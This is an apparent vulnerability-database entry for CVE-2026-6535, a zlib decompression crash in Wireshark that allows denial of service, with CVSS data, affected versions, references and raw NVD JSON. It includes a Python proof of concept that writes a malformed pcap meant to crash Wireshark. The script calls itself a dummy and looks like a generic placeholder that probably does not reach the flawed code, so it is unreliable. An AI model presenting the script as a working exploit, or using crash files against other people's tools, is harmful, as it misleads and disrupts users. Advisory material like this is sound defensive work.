Security Vulnerability Report
中文
CVE-2026-6535 CVSS 5.5 MEDIUM

CVE-2026-6535

Published: 2026-04-30 07:16:41
Last Modified: 2026-05-01 18:16:11

Description

Dissection engine zlib decompression crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
Wireshark 4.6.0 至 4.6.4
Wireshark 4.4.0 至 4.4.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import zlib import struct # Generate a dummy pcap file with a malformed zlib payload # to simulate the decompression crash vulnerability. def create_malformed_pcap(filename): # PCAP Global Header (standard magic number) pcap_header = b"\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x01\x00\x00\x00" # Construct a packet with a potentially malicious zlib stream # This represents the trigger data for the dissection engine bad_zlib_data = b'\x78\x9c' + b'\xff' * 100 # Invalid compressed data # Packet Header (ts_sec, ts_usec, incl_len, orig_len) packet_header = struct.pack('<IIII', int(1.0), int(0.0), len(bad_zlib_data), len(bad_zlib_data)) with open(filename, 'wb') as f: f.write(pcap_header) f.write(packet_header) f.write(bad_zlib_data) print(f"[+] Generated PoC file: {filename}") print("[+] Attempt to open this file in a vulnerable Wireshark version.") if __name__ == "__main__": create_malformed_pcap("cve_2026_6535_poc.pcap")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6535", "sourceIdentifier": "[email protected]", "published": "2026-04-30T07:16:40.870", "lastModified": "2026-05-01T18:16:11.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dissection engine zlib decompression crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1325"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndIncluding": "4.4.14", "matchCriteriaId": "77CF79F1-B53C-40A7-9570-A192D5A85ED6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndIncluding": "4.6.4", "matchCriteriaId": "B52139AE-161F-406A-B28D-F874CE8B68B6"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/issues/21097", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://gitlab.com/wireshark/wireshark/-/issues/21098", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-26.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}